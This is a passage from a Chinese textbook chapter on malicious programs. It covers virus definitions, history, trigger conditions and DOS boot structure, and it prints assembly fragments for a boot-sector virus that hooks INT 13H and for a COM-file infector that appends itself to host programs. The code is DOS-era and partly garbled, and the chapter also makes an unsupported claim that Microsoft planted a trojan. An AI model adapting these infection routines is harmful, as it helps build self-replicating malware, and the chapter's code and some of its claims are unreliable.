第 1章 恶意程序及其防范
1.1 计算机病毒的概念
1.2 计算机病毒原理
1.3 计算机病毒编制的关键技术
1.4 蠕虫
1.5 木马
1.6 病毒对抗技术计算机病毒是恶意程序的一种。所谓恶意程序,
是指一类特殊的程序,它们通常在用户不知晓也未授权的情况下潜入到计算机系统中来。恶意程序可以分为许多类型。图 1.1为按照有无自我复制功能和需要不需要宿主对恶意程序的分类情形。
陷门 ( Trap Doors) 是进入程序的一些秘密入口 。
陷门中有些是程序员为了进行调试和测试而预留的一些特权,有些则是系统漏洞 。 黑客也挖空心思地设计陷门,
以便以特殊的,不经授权的方式进入系统 。 陷门通常寄生于某些程序 ( 有宿主 ),但无自我复制功能 。
逻辑炸弹是嵌入某些合法程序的一段代码,没有自我复制功能,在某些条件下会执行一个有害程序,造成一些破坏 。
特洛伊木马是计算机网络中一种包含有害代码的有用或表面上有用的程序或过程,激活时产生有害行为。
它们不具备自我复制功能。
细菌是以自我繁殖为主要目的的程序 。
蠕虫是一种通过网络自我复制的恶意程序 。 通常人们也把它称为病毒的一种 。 因为,蠕虫一旦被激活,可以表现得像细菌和病毒,可以向系统注入特洛伊木马,或进行任何次数的破坏或毁灭行动 。 典型的蠕虫只会在内存维持一个活动副本 。 此外,蠕虫是一个独立程序,自身不改变任何其他程序,但可以携带具有改变其他程序的病毒 。
其中,计算机病毒是所有计算机用户在计算机安全问题上,经常碰到的问题。在 1999年 Security Poral的报告中,
排在计算机安全问题第一位的是计算机病毒事件,其次是与计算机病毒关系极为密切的黑客问题。所以本章以病毒为主,介绍恶意程序的特点及其防治。
1.1 计算机病毒的概念返回
1.1.1 计算机病毒的定义人类发明了工具,改变了世界,也改变了人类自己。
自 20世纪 40年代起,计算技术与电子技术的结合,使推动人类进步的工具从体力升华到了智力。计算机的出现,将人类带进了信息时代,使人类生产力进入了一个特别的发展时期。
计算机的灵魂是程序 。 正是建立在微电子载体上的程序,才将计算机的延伸到了人类社会的各个领域 。,成也萧何,败也萧何,。 人的智慧可以创造人类文明,也可以破坏人类已经创造的文明 。 随着计算机系统设计技术向社会各个领域急剧扩展,人们开发出了将人类带入信息时代的计算机程序的同时,也开发出了给计算机系统带来副作用的计算机病毒程序 。
在生物学界,病毒 ( virus) 是一类没有细胞结构但有遗传,复制等生命特征,主要由核酸和蛋白质组成的有机体 。
在《中华人民共和国计算机信息系统安全保护条例》中,计算机病毒 (Computer Virus)被明确定义为:
,计算机病毒,是指编制或者在计算机程序中插入的破坏计算机功能或者破坏数据、影响计算机使用,并且能够自我复制的一组计算机指令或者程序代码,。
1.1.2 计算机病毒的特征计算机病毒有一些与生物界中的病毒极为相似的特征,
这也就是所以称其为病毒的缘由 。 这些特征有如下一些 。
1,传染性和衍生性病毒也是一种程序,它与其他程序的显著不同之处,
就是它的传染性 。 与生物界中的病毒可以从一个生物体传播到另一个生物体一样,计算机病毒可以借助各种渠道从已经感染的计算机系统扩散到其他计算机系统 。
早在 1949年,计算机的先驱者 Von Neumann 就在他的论文《复杂自动机组织论》中,提出了计算机程序在内存中自我复制的设想,勾画了病毒程序的蓝图。 1977年夏天,美国作家托马斯 ·捷 ·瑞安在其幻想小说,P-1的青春》
一书中构思了一种能够自我复制的计算机程序,第一次使用了,计算机病毒,的术语。所以自我复制应当是计算机病毒的主要特征。
20世纪 60年代初,美国贝尔实验室里,三个年轻的程序员编写了一个名为,磁芯大战,的游戏,
游戏中通过复制自身来摆脱对方的控制,这就是计算机,病毒,的雏形 。
1983年美国计算机专家弗雷德 ·科恩博士研制出一种在运行过程中可以自我复制的具有破坏性的程序,
并在同年 11月召开的国际计算机安全学术研讨会,
首次将病毒程序在 VAX/750计算机上进行了实验。
世界上第一个计算机病毒就这样出生在实验室中。
20世纪 80年代初,计算机病毒(如,巴基斯坦智囊,
病毒)主要感染软盘的引导区。 20世纪 80年代末,出现了感染硬盘的病毒(如,大麻,病毒)。 20世纪 90
年代初,出现了感染文件的病毒(如,Jerusalem,黑色 13号星期五,病毒)。接着出现了引导区和文件型
,双料,病毒,既感染磁盘引导区又感染可执行文件。
20世纪 90年代中期,称为,病毒生产机,的软件开始出现,使病毒的传播不再是简单的自我复制,而是可以自动、轻易地自动生产出大量的,同族,新病毒。
这些病毒代码长度各不相同,自我加密、解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同。
1995年大量具有相同,遗传基因,的,同族,病毒的涌现,标志着,病毒生产机,软件已出现 。 目前国际上已有上百种,病毒生产机,软件 。 这种,病毒生产机,软件不用绞尽脑汁地去编程序,便可以轻易地自动生产出大量的,同族,新病毒 。 这些病毒代码长度各不相同,自我加密,解密的密钥也不相同,原文件头重要参数的保存地址不同,病毒的发作条件和现象不同,但主体构造和原理基本相同 。 这就是病毒的衍生性 。
与此同时,Internet的发展,也为病毒的快速传播提供了方便途径。
2,潜伏性和隐蔽性计算机病毒通常是由技术高超者编写的比较完美的,
精巧严谨,短小精悍的程序 。 它们常常按照严格的秩序组织,与所在的系统网络环境相适应,相配合 。 病毒程序一旦取得系统控制权,可以在极短的时间内传染大量程序 。 但是,被感染的程序并不是立即表现出异常,而是潜伏下来,等待时机 。
除了不发作外,计算机病毒的潜伏还依赖于其隐蔽性。为了隐蔽,病毒通常非常短小(一般只有几百或 1K
字节,此外还寄生于正常的程序或磁盘较隐蔽的地方,
也有个别以隐含文件形式存在,使人不经过代码分析很难被发觉。
20世纪 90年代初,计算机病毒开始具有对抗机制。例如 Yankee Doole病毒,当它发现有人用 Debug工具跟踪它,
就会自动从文件中逃走。此外还相继出现了一些能对自身进行简单加密的病毒,如 1366(DaLian),1824(N64)、
1741(Dong),1100等。加密的目的主要是防止跟踪或掩盖有关特征等。例如在 内存 有 1741病毒时,用 DIR列目录表,病毒会掩盖被感染文件所增加的字节数,使人看起来字节数很正常。
3,寄生性
( 1) 病毒的寄生场所寄生是病毒的重要特征 。 计算机病毒一般寄生在以下地方:
( a) 寄生在可执行程序中 。 一旦程序执行,病毒就被激活,病毒程序首先被执行并常驻内存,然后置触发条件 。 感染的文件被执行后,病毒就会趁机感染下一个文件 。
文件型病毒可以分为源码型病毒、嵌入型病毒和外壳型病毒。
源码型病毒是用高级语言编写的,不进行编译、链接,就无法传染扩散。嵌入型病毒是嵌入在程序的中间,只能针对某些具体程序。
外壳型病毒寄生在宿主程序的前面或后面,并修改程序的第 1条指令,使病毒先于宿主程序执行,以便一执行宿主程序就传染一次。
( b) 寄生在硬盘的主引导扇区中。这类病毒也称引导型病毒。任何操作系统都有自举过程,自举依靠引导模块进行,而操作系统的引导模块总是放在某个固定位置,这样系统每次启动就会在这个固定的地方来将引导模块读入内存,紧接着就执行它,来把操作系统读入内存,实现控制权的转接。引导型病毒程序就是利用这一点,它自身占据了引导扇区而将原来的引导扇区的内容和病毒的其他部分放到磁盘的其他空间,
并将这些扇区标志为坏簇,不可写其他信息。这样,
系统的一次初始化,就激活一次病毒,它首先将自身拷贝到内存,等待触发条件到来。
引导型病毒按其寄生对象,可以分为 MBR( 主引导区)病毒和 BR( 引导区)病毒。 MBR病毒也称分区病毒,这类病毒寄生在硬盘分区主引导程序所占据的硬盘 0头 0柱面第 1扇区,典型的有 Stoned( 大麻)病毒、
2708病毒等。 BR病毒则寄生在硬盘逻辑 0扇区或软盘 0
扇区(即 0面 0道的第 1扇区),典型的有 Brain病毒、
小球病毒等。
( 2) 计算机病毒的寄生方式
( a) 替代法:病毒程序用自己的全部或部分代码,
替代磁盘引导扇区或文件中的全部或部分内容 。
( b) 链接法:病毒程序将自身代码作为正常程序的一部分与原有正常程序链接在一起。链接的位置可能在正常程序的首部、尾部或中间。
4,触发性潜伏下来的计算机病毒一般要在一定的条件下才被激活,发起攻击。病毒具有判断这个条件的功能。
5,非授权执行性用户在调用一个程序时,常常就把系统的控制权交给这个程序并给它分配相应的系统资源,使程序的执行对用户是透明的。计算机病毒具有正常程序所具有的一切特性,
它隐蔽在合法程序和数据中;当用户运行正常程序时,病毒伺机取得系统的控制权,先于正常程序执行,并对用户呈透明状态。
6,破坏性计算机病毒的设计者进行病毒程序设计的目的就是为了攻击破坏 。 下面对病毒的破坏性进行分类介绍 。
( 1) 病毒破坏的能力按照病毒的破坏能力,可将病毒划分为以下几种:
· 无害型:除了传染时减少磁盘的可用空间外,对系统没有其它影响 。
· 无危险型:这类病毒仅仅是减少内存,显示图像,
发出声音及同类音响 。
· 危险型:这类病毒在计算机系统操作中造成严重的错误 。
· 非常危险型:这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。
( 2) 病毒的入侵方式
( a) 源代码嵌入攻击型这类病毒主要入侵高级语言的源程序 。 病毒在源程序编译之前就插入进来,最后随源程序一起被编译成带毒可执行文件 。 这类带毒文件是极少数,因为这些病毒开发者不可能轻易得到那些软件开发公司编译前的源程序,并且入侵的方式难度较大,需要非常专业的编程水平 。
( b) 代码取代攻击型这类病毒主要是用它自身的代码取代某个入侵程序或该程序的部分模块。这类病毒也少见,它主要是攻击特定的程序,针对性较强,但是不易被发现,清除起来也较困难。
( c) 系统修改型这类病毒主要是用自身代码覆盖或修改系统中的某些文件来达到调用或替代操作系统中的部分功能,由于是直接感染系统,危害较大,也是最为多见的一种病毒类型,多为文件型病毒 。
( d) 外壳附加型这类病毒通常附加在正常程序的头部或尾部,相当于给程序添加了一个外壳,在被感染的程序执行时,病毒代码先被执行,然后才将正常程序调入内存。目前大多数文件型的病毒属于这一类。
( 3) 病毒破坏性的表现
( a) 占用 CPU资源,额外占用或消耗内存空间,或禁止分配内存,
蚕食内存,导致一些大型程序执行受阻,使系统性能下降 。
( b) 干扰系统运行,例如不执行命令,干扰内部命令的执行,虚发报警信息,打不开文件,内部栈溢出,占用特殊数据区,时钟倒转,重启动,死机,文件无法存盘,文件存盘时丢失字节,内存减小,格式化硬盘等 。
( c) 攻击 CMOS。 CMOS是保存系统参数 ( 如系统时钟,磁盘类型,
内存容量等 ) 的重要场所 。 有的病毒 ( 如 CIH病毒 ) 可以通过改写
CMOS参数,破坏系统硬件的运行 。
( d) 攻击系统数据区。硬盘的主引导扇区,boot( 引导)扇区、
FAT( 文件分配)表、文件目录等,是系统重要的数据,这些数据一旦受损,将造成相关文件的破坏。
( e) 干扰外部设备运行,如
· 干扰键盘操作 。 如 EDV病毒能封锁键盘,使按任何键都没有反应;还有病毒产生换字,抹掉缓存区字符,输入紊乱等 。
· 干扰屏幕显示 。 如小球病毒产生跳动的小白点;瀑布病毒使显示的字符像雨点一样一个个落到屏幕底部等 。
· 干扰声响 。 如感染 Attention病毒后,每按一键,喇叭就响一声; Yankee Doodle病毒在每天 下午 5时整会播 出歌曲
,Yankee Doodle” ; 救护车病毒 ( Ambulance Car) 会在屏幕上出现一辆鸣着警笛来回跑的救护车 。
· 干扰打印机。如 Azsua病毒可以封锁打印机接口 LPT1,当使用打印机时,会发出缺纸的假报警; 1024SBC病毒会使打印机出现断断续续的打印失常; Typo-COM病毒会更换字符。
( f) 攻击文件 。 现在发现的病毒中,大多数是文件型病毒 。 这些病毒会使染毒文件的长度,文件存盘时间和日期发生变化 。 例如,
百年病毒,4096病毒等 。
( g) 劫取机密数据 。 例如,微软公司在它的 Microsoft Network中加入一种特洛伊木马程序,会把用户系统软件和硬件的完整清单送回到微软公司 。
( h) 破坏网络系统的正常运行 。 例如发送垃圾邮件,占用带宽,
使网络拒绝服务等 。
有些病毒的破坏作用往往是多样的。
1.1.3 计算机病毒的结构计算机病毒的种类很多,但是它们的主要结构是类似的,
一般需要包含 4部分:引导部分,传染部分,表现部分和破坏部分 。
( 1) 引导部分:就是病毒程序的初始化部分 。 它的作用是将病毒的主体加载到内存,为传染部分做准备 ( 如驻留内存,修改中断,修改高端内存,保存原中断向量等操作 ) 。
( 2) 传染部分:作用是将病毒代码复制到传染目标上去 。
传染需要一定的条件 。 不同类型的病毒在传染方式,传染条件上各不相同 。 进行传播之前,先要判断传染条件 。
( 3) 表现部分:作用是在被传染系统上表现出特定现象 。
大部分病毒都是在一定条件下才会触发表现部分的 。
( 4)破坏部分:作用是产生破坏被传染系统的行为。
1.2 计算机病毒原理返回
1.2.1 计算机病毒的引导过程计算机病毒的引导过程一般分为三步:驻留内存,窃取控制权和恢复系统功能 。
1,驻留内存病毒要发挥其破坏作用,多数要驻留内存 。 为了驻留内存,
就必须开辟内存空间或覆盖系统占用的部分内存空间 。
2,窃取控制权计算机病毒驻留内存后,接下来的工作是取代或扩充系统原有功能,并窃取系统的控制权 。
3,恢复系统功能计算机病毒窃取系统控制权后,就要开始潜伏等待,即根据其设计思想,隐蔽自己,等待时机,在条件成熟时,再进行传染和破坏。然而,病毒为了隐蔽自己,驻留内存后还要恢复系统,使系统不致死机。
1.2.2 计算机病毒的触发机制下面例举一些病毒的触发 ( 激活 ) 条件 。
( 1) 日期 /时间触发:计算机病毒读取系统时钟,判断是否激活 。
例如:
PETER-2,在每年 2月 27日会提出 3个问题,答错后会将硬盘加密 。
Yankee Doodle,在每天下午 5时发作 。
,黑色星期五,,逢 13日的星期五发作 。
,上海一号,,在每年的三,六,九月的 13日发作 。
1998年 2月,台湾省的陈盈豪,编写出了破坏性极大的 Windows恶性病毒 CIH-1.2版,并定于每年的 4月 26日发作破坏,然后,悄悄地潜伏在网上的一些供人下载的软件中。可是,两个月的时间,被人下载的不多,到了 4月 26日,病毒只在台湾省少量发作,并没引起重视。陈盈豪又炮制了 CIH-1.3版,并将破坏时间设在 6月 26日。 7月,
又炮制出了 CIH-1.4版。这次,他干脆将破坏时间设为每个月的 26日。
( 2) 计数器触发:计算机病毒内部设定一个计数单元,对系统事件进行计数,判定是否激活 。 例如,2708病毒当系统启动次数达到 32次时被激活,发起对串,并口地址的攻击 。
( 3) 键盘触发:当敲入某些字符时触发 ( 如 AIDS病毒,在敲如 A,I,D,S时发作 ),或以击键次数 ( 如 Devil‘s Dance病毒在用户第 2000次击键时被触发 ) 或组合键等为激发条件
( 如 Invader病毒在按下 Ctrl+Alt+Del键时发作 ) 。
( 4) 启动触发:以系统的启动次数作为触发条件 。 例如
Anti-Tei和 Telecom病毒当系统第 400次启动时被激活 。
( 5) 感染触发:以感染文件个数,感染序列,感染磁盘数,
感染失败数作为触发条件 。 例如,Black Monday病毒在运行第 240个染毒程序时被激活; VHP2病毒每感染 8个文件就会触发系统热启动操作等 。
( 6)组合条件触发:用多种条件综合使用,作为计算机病毒的触发条件。
1.2.3 计算机病毒的传播计算机病毒的传播过程就是其传染过程 。
病毒的传染大体上有如下三个途径:
1,文件传染传播病毒的文件可以分为三类:
( 1) 可执行文件,即扩展名为,EXE,.PE,.SYS等的文件 。
( 2) 文档文件或数据文件,例如 Word文档,Exel文档,
Accss数据库文件 。 宏病毒 ( Macro) 就感染这些文件 。
( 3) Web文档,如,html文档和,htm文档。已经发现的
Web病毒有 HTML/Prepend和 HTML/Redirect等。
文件传染可能采用如下一种方式:
( 1) 驻留 ( Resident) 复制:复制病毒装入内存后,发现另一个系统运行的程序文件后进行传染 。
( 2)非驻留( Nonrresident) 复制:病毒选择磁盘上一个或多个文件,不等它们装入内存,就直接进行感染。
2,引导扇区传染引导扇区病毒在系统初始化时自动装入内存,然后简单地将指令指针 ( 指令计数器的内容 ) 修改到一个存储系统指令的新的位置 。 于是便以普通方式启动,而病毒已经驻留在了内存 。
所以,不需要用户执行磁盘上任何被感染的程序,只要有访问磁盘的操作,
就可以进行复制 。
3,网络及电子邮件传播与文件传播和引导扇区传播不同,由于数据共享和相互协作网络传播的是病毒直接通过网络传染到目标机系统。
1.3 计算机病毒编制的关键技术返回
1.3.1 DOS引导型病毒编制的关键技术
1,DOS系统的结构
DOS系统由以下 4部分组成:
( 1) 引导记录 ( Boot Record) 。 用于将 IO.SYS模块装入内存 。
( 2) IO.SYS( DOS的基本输入输出模块 BIOS),由下面两块组成:
·系统初始化程序 SYSINIT,完成初始化工作,主要包括:确定系统设备配置和内存容量;初始化串,
I/O并口;计算后面模块的装入位置并将 MSDOS.SYS
和 COMMAND.COM装入内存;设置系统参数,加载设置驱动程序 。
·标准字符和块设备驱动程,用于支持基本输入输出操作 。
( 3) MSDOS.SYS( DOS的内核 ),提供应用程序管理,
内存管理,文件管理等 。
( 4) COMMAND.COM( DOS的外壳),是用户与操作系统的接口。
2,DOS磁盘的区域分配
DOS格式化磁盘由 4个区域组成:引导扇区 ( Boot Area) ——硬盘含有主引导扇区,文件分配表 ( FAT),根目录表 ( Root
Directory Table,FDT) 和文件数据区 ( Data Area) 。
表 1.1为 DOS格式化磁盘的区域组成 。 其中;
逻辑区号 = [柱面号×总面积 +面号 ]×每到扇区数 +扇区号表 1.1 DOS格式化磁盘的区域组成。
360k软盘分布 起始物理扇区 20M硬盘分布逻辑扇区号对应区域头号 柱面号 扇区号 逻辑扇区号对应区域
0
1~4
5~11
12~719
BOOT区
FAT表根目录表数据区
0
1
1
1
3
0
0
0
1
1
1
1
2
16
14
0
1~82
83~114
115~41598
主引导区
BOOT区 FAT
表根目录表数据区
( 1)主引导扇区,位于硬盘的 0柱面 0磁道 1扇区,存放有主引导记录( Mian BootRecord,MBR) 和 4个分区表( Disk Partition Table,
DPT)。 图 1.2为主引导扇区的结构。
区域 信息内容
0000H ~ 00BAH 主引导记录启动程序
008BH ~ 00D9H 主引导记录启动字符串
01DAH ~ 01BDH 空闲区
01BEH ~ 01CDH 分区 1结构信息
01CEH ~ 01DDH 分区 1结构信息
01DEH ~ 01FDH 分区 1结构信息
01EEH~ 01FDH 分区 1结构信息
01FEH ~ 01FFH 55AAH主引导记录有效标志
MBR的作用是检查分区表是否正确以及确定哪个分区为引导分区
(要将控制权交给的操作系统所在分区),并在程序结束时把该分区的启动程序(即操作系统引导扇区)调入内存加以执行。
( 2)引导扇区位于逻辑 0扇区处(即软盘的 0面 0道 1扇区,
硬盘的 DOS分区的 1扇区)。在 DOS的启动过程中,中断服务程序 INT 19H( 自举程序)将引导记录 调入内存的
0000H~7C00H处,并把控制权交给它。这时,引导记录将检查启动盘上是否有 DOS系统,即根目录中的前两个文件是否为 IO.SYS和 MSDOS.SYS。 若是,则把文件 IO.SYS
读入到内存的 70H~0H处,并把主控制权交给 IO.SYS; 否则给出非系统盘的错误信息。
3,DOS的自举过程图 1.3为 DOS的自举过程 。 可以看出,在这个自举过程中,系统的控制权按照下面的顺序转移:
ROMBIOS→ DOS引导程序
→ IO.SYS→ MSDOS.SYS→COMMAND.COM→ 用户主引导记录程序的基本功能是读出自举分区的 BOOT程序,并把控制权转移到分区 BOOT程序 。 在这一过程中,关键性的技术有:
( 1) 将本来要读入到 0000:7C00H处的硬盘主引导记录程序转移到
0000:0600H处 。 代码段如下:
偏移 机器码 符号指令 说明
0000 FA cli ; 屏蔽中断
0001 33C0 xor ax,ax ;
0003 8ED0 mov ss,ax ; ( ss) =0000H
0005 BC007C mov sp,7c00 ; ( sp) = 7C00H
0008 8BF4 mov si,sp ; ( si) = 7C00H
000A 50 push ax ;
000B 07 pop es ; ( es) =0000H
000C 50 push ax ;
000D 1F pop ds ; ( ds) =0000H
000E FB sti ;
000F FC cld ;
0010 BF0006 mov di,0600 ;
0013 890001 mov cx,0100 ;
0016 F2 repnz ;
17 A5 movsw; 主引导程序把自己从 0000:7c00处搬移到 0000:0600处,; 为 DOS分区的引导程序腾出空间
…
( 2) 顺序读入 4个分区表的自举标志,以找出自举分区:若找不到,
就转向执行 INT 18H的 BOOT异常,执行异常中断程序 。
偏移 机器码 符号指令 说明
001D BEBE07 mov si,07be ; 分区表首地址 01BE=07BE-0600
0020 B304 mov bl,04 ; 最多 4个分区
0022 803C80 cmp byte ptr[si],80 ; 80H表示活动分区
0025 740E jz 0035 ; 找到活动分区则跳走
0027 803C00 cmp byte ptr[si],00 ; 00H表示有效分区
002A 751C jnz 0048 ; 非 80H,也非 00H,为无效分区
002C 83C610 add si,+10 ;下一个分区表项,每项 16( 10H) 字节
002F FECB dec bl ; 循环计数减 1
0031 75EF jnz 0022 ; 检查下一个分区表项
0033 CD18 int 18 ; 4个都不可引导,进入 ROM BIOS
0035 8B14 mov dx,[si]
0037 8B4C02 mov cx,[si+02] ;取分区的引导扇区的柱面,扇区活动
003A 8BEE mov bp,si ; 继续检查后面的分区表项
003C 83C610 add si,+10
…
( 3) 找到自举分区后,检测该分区的标志:如果是 32位或 16位 FAT,
并支持 13号中断的扩展功能,就转到执行 13号中断的 41号功能调用,
进行安装检测;检测成功,就执行 42号扩展功能调用,把 BOOT程序读入到内存 0000:7c00H处 。 读入成功,就执行 0000:7c00H处的程序;
读入失败,就调用 13号中断的读扇区功能,把 BOOT程序读入到内存
0000:7c00H处 。
4,引导型病毒的传染过程引导型病毒制驻留在硬盘的主引导分区或硬 /软盘的 DOS引导分区的病毒 。
它的感染过程分两大步:装入内存和攻击 。
( 1)装入内存过程:
1 系统开机后,进入系统检测,检测正常后,从 0面 0道 1扇区,即逻辑 0扇区读取信息到内存的 0000~7C00处:
·正常时,磁盘 0面 0道 1扇区,即逻辑 0扇区存放的是 boot引导程序;
·操作系统感染了引导扇区病毒时,磁盘 0面 0道 1扇区,即逻辑 0
扇区存放的是病毒引导部分,boot引导程序被放到其他地方。例如,
大麻病毒在软盘中将原 DOS引导扇区搬移到 0道 1面 3扇区,在硬盘中将原 DOS引导扇区搬移到 0道 0面 7扇区;香港病毒则将原 DOS引导扇区搬移到 39磁道第 8扇区; Michelangelo病毒在高密度软盘上,
是第 27扇区,在硬盘上是 0道 0面 7扇区。
2 系统开始运行病毒引导部分,将病毒的其他部分读入到内存的某一安全区,常驻内存,监视系统的运行 。
3 病毒修改 INT 13H中断服务处理程序的入口地址,使之指向病毒控制模块并执行,以便必要时接管磁盘操作的控制权 。
4 病毒程序全部读入后,接着读入正常 boot内容到内存 0000:7C00H
处,进行正常的启动过程 ( 这时病毒程序已经全不读入内存,不再需要病毒的引导部分 ) 。
5 病毒程序伺机等待随时感染新的系统盘或非系统盘。
( 2) 攻击过程 。 病毒程序发现有可攻击的对象后,要进行下列工作:
1 将目标盘的引导扇区读入内存,判断它是否感染了病毒 。
2 满足感染条件时,将病毒的全部或一部分写入 boot区,把正常的磁盘引导区程序写入磁盘特定位置 。
3 返回正常的 INT 13H中断服务处理程序,完成对目标盘的传染过程 。
5,引导型病毒的编制技术个人计算机开机后,会先执行主引导区代码这一机制,给引导型病毒窃取第一控制权提供了机会 。 但是引导型病毒窃取控制权的时间只能是短暂的,然后就要引导 DOS操作系统,否则就将败露 。 在窃取控制权的这段时间内,病毒的引导部分主要要做下列事情 。
( 1) 为病毒代码申请内存空间,为此要尽量减少 DOS的存储空间 。
相关代码如下:
…
xor ax,ax
move ss,ax
mov sp,7c00h
mov ds,ax
mov ax,word ptr ds:[413h] ; 存 放 最 大 内 存 空 间
0000:0413
sub ax,4 ; 给病毒申请 4kB的内存空间
mov ds:[413h],ax
…
( 2) 修改传播需要的中断向量 。 相关代码如下:
…
begin proc far
push ds ; axds:ax
sub ax,ax ;
push ax
mov ax,code ; 将代码段地址装入 ds,es
mov ds,ax
mov ex,ax
mov ax,seg ctrl_c ; 修改向量,ds:dx指向 ctrl_c子程序
mov ds,ax ;
mov dx,offset ctrl_c
mov ah,25h ; 调用号 ah=25H
mov al,23h ; 修改中断向量号 al=23H
int 21h ; 系统调用指令
…
( 3) 读入病毒的其他部分,进行病毒拼装 ( 在内存高端 ),先从已经标记的簇中某扇区读入病毒的其他部分 ( 这些簇往往被标记为坏簇 ),然后再读入原引导记录到 0000:7C00H处,跳转执行 。 相关代码如下:
mov cl,06h
shl ax,cl ; (ax)=8F80
add ax,0840h ; (ax)=97c0
move s,ax
mov si,7c00h ; (si)=7c00
mov di,si
mov cx,0100h
repz movsw ; 将病毒移到高端
v2,push ax
pop ds
push ax
mov bx,7c4bh
push bx
ret ; 指令执行转入高端内存
call v3
v3:xor ah,ah ; (ah)=0
int 13h ; 13H中断调用
mov ah,80h
and byte ptr ds:[7df8h],al ;
v4:mov bx,word ptr ds:[7df9h] ;读入病毒的其他部分
push cs
pop ax ; (ax)=97c0
sub ax,20h ; (ax)=97c0
move s,ax ; (es)=97c0
call v9
mov bx,word ptr ds:[7df9h] ; 加载逻辑扇区号
inc bx ; bx++是引导扇区
mov ax,0ffc0h ; ffc0:8000=0000:7c00读入原引导分区内容
move s,ax
call v9
xor ax,ax ; (ax)=0
mov byte ptr ds:[7df7h],al ; 标志清 0
v5,mov ds,ax ; (ds)=0
mov ax,word ptr ds:[4ch]
mov bx,word ptrds:[4ch] ; 修改中断向量
mov word ptr ds:[4ch],7cd6h
mov word ptr ds:[4ch],cs ; 新 int 13H中断已修改
push cs
pop ds ; (ds)=(cs)
mov word ptr ds:[7d30h]:ax ;保存原来的 int 13H中断向量
mov word ptr ds:[7d32h]:bx ;
v6,mov dl,byte ptr ds:[7df8h] ;加载驱动器盘符
v7,jmp 0000:7c00 ;跳转
db 0eah,00h,7ch,00h,00h ;跳转指令的二进制代码
( 4)读入原主引导分区,转去执行 DOS的引导工作。
1.3.2 COM文件型病毒编制的关键技术
1,COM文件的特点这里,文件型病毒主要指 DOS操作系统下的 COM和 EXE文件 。 首先介绍 COM文件病毒程序的编制技术 。
COM文件具有如下特点:
( 1) COM文件的存储代码与内存映像完全相同
COM文件是在 DOS外壳上直接运行处理器指令和内存数据。
为此,在 COM文件中要包含 COM程序的一个绝对映像(如图
1.4所示),并且 MS-DOS要把该映像直接拷贝到内存加载
COM程序,而不做任何改变。
( 2) COM文件的长度不能超过 65 024字节 。
COM文件是一种单段执行结构 。 如图 1.4所示,它要被分配在一个 64k字节的空间中 。 这个空间中除了要存放 COM文件外,
还要存放一个程序段前缀 PSP和一个起始堆栈 。 而 PSP的大小为 256字节,起始堆栈的最小空间为 256字节,所以 COM文件最大不能超过 65 024字节 。
( 3) COM文件的第 1条指令必须是程序的入口点。
2,COM文件的加载和启动
( 1) 分配内存:尽可能多地分配内存空间 。 在 DOS
运行另一个程序或分配另外的内存空间时,COM将释放不需要的空间 。
( 2) 分配内存成功后,DOS建立一个 PSP。 如果 PSP
的第 1个 FCB含有一个有效驱动器标识符,即置 AL为
00H; 否则置 AL为 0FFH
( 3) 在 PS后面 ( 偏移 100H) 加载 COM文件,同时置
SS,DS和 ES为 PSP的段地址 。
( 4) 建立堆栈 。
DOS通过把控制权传递给偏移 100H处的指令启动程序。
3,可执行文件病毒的传染过程
( 1) 文件病毒在宿主文件 (,com或,exe) 被执行时,驻留内存;
( 2) 病毒开始监视系统运行,等待被传染目标出现;
( 3) 病毒检测可执行文件的特定地址的标识位,判断该文件是否感染了病毒;
( 4) 发现了被感染目标后,利用 INT 13H将病毒链接到可执行文件的首部,尾部或中间,并存入磁盘中;
( 5)完成感染后,继续监视系统的运行,寻找新的目标。
4,文件型病毒程序编制技术文件型病毒可以加在 COM文件的前部,也可以加在 COM文件的尾部 。
不管加在何处,都可以利用 COM文件的第一条指令是程序的入口点,
使启动 COM程序前先执行病毒程序 。 方法就是对程序开始处的指令进行修改 。 例如,病毒程序加在最后,就应当把程序开始处的指令修改成一条跳转指令,跳转到病毒所在的位置 。 等病毒程序执行完,
再把控制权交还给 COM程序 。 当然,实际做的工作并不这么简单 。
下面是感染 COM文件的典型病代码 。
( 1) 修改了的文件头部代码
cs:0100 jmp endOfFile ;db 0e9h,0100h处为 COM文件原来入口; dw COM文件实际大小; endOfFile 文件尾 ( 加入病毒的位置 )
( 2) 在 COM文件的尾部的病毒代码部分
…
endOfFile:
virusStart:; 病毒代码
mov ax,orgcode
mov [100],ax
mov al,[orgcode+2]
mov [102],al
virusSize = $-virusStart
resume:
jmp 100 ; db 0e9h;dw –(COM文件实际大小 + 病毒代码大小 )
orgcode db 3 dup(?) ; 原文件由 0100开始的 3个字节
( 3) 代码的进一步完善病毒要感染 COM文件,需要进行的工作有:
·首先要把开始的 3字节保存到 orgcode中,更改为 0e9h;
·更改文件实际大小;
·将 resume开始的 3字节改为,0e9h-( COM文件实际大小 +病毒代码大小 ) ;
·将病毒代码写到 COM文件尾部;
·进行感染的判断和文件大小的判断 。
假设,DS:DX指向 VirusSize; VirusStart的定义如上。; 保存开始的 4字节并改写
db 90h,0e9h ; 0e990h为感染标志
dw sizeofcom
感染代码:
…
mov ax,3d01h
int 21h ; 为读写打开
jc OpenError
push dx
xchg ax,bx
mov ax,4202h
xor cx,cx
int 21h ; 移到文件尾
or dx,dx
jnz complete ; 大于 4字节的文件不感染
cmp ax,ofeeeh-ViusSIze-11
jnb complete
cmp ax,4
jb complete ; 小于 4字节的文件也不感染
mov di,offset orgcode
mov [di+6],ax
add [di+6],VirusSize ; 产生替换代码
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ; 移到文件头
mov cx,4
mov dx,di
mov ah,3fh
int 21h ; 读出 4个字节
jc complete
cmp word ptr [di],0e990h ; 如果没有感染,则; nop; jmp XXXX
jz complete
mov cx,4
add ah,40h
int 21h ; 在文件头部写 4个字节
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ; 移到文件尾
mov ah,40h
mov dx,VirusSize+11
int 21h ; 写入病毒代码到 COM文件中
complete:
mov ah,3fh
int 21h ; 关闭文件
ErrorOpen:
…
1.3.3 Win 32 PE病毒编制的关键技术
1,Win 32 PE文件格式
Win 32 PE文件就是 Win 32( Windows 95/98/2000/XP) 环境下的 PE
格式( Portable Executable Format) 的可执行文件。为了了解病毒对它的感染机理,首先介绍 PE文件的结构和运行机制。 PE文件的格式如图 1.5所示。
( 1) 所有的 PE文件必须以一个简单的 DOS MZ头开始 。
( 2) 接着是一个极小 ( 几百个字节 ) 的 DOS程序 DOS
stub,用于输出警告,如,该程序不能在 DOS模式下运行,。 当 Win32把一个 PE文件映像加载到内存时,
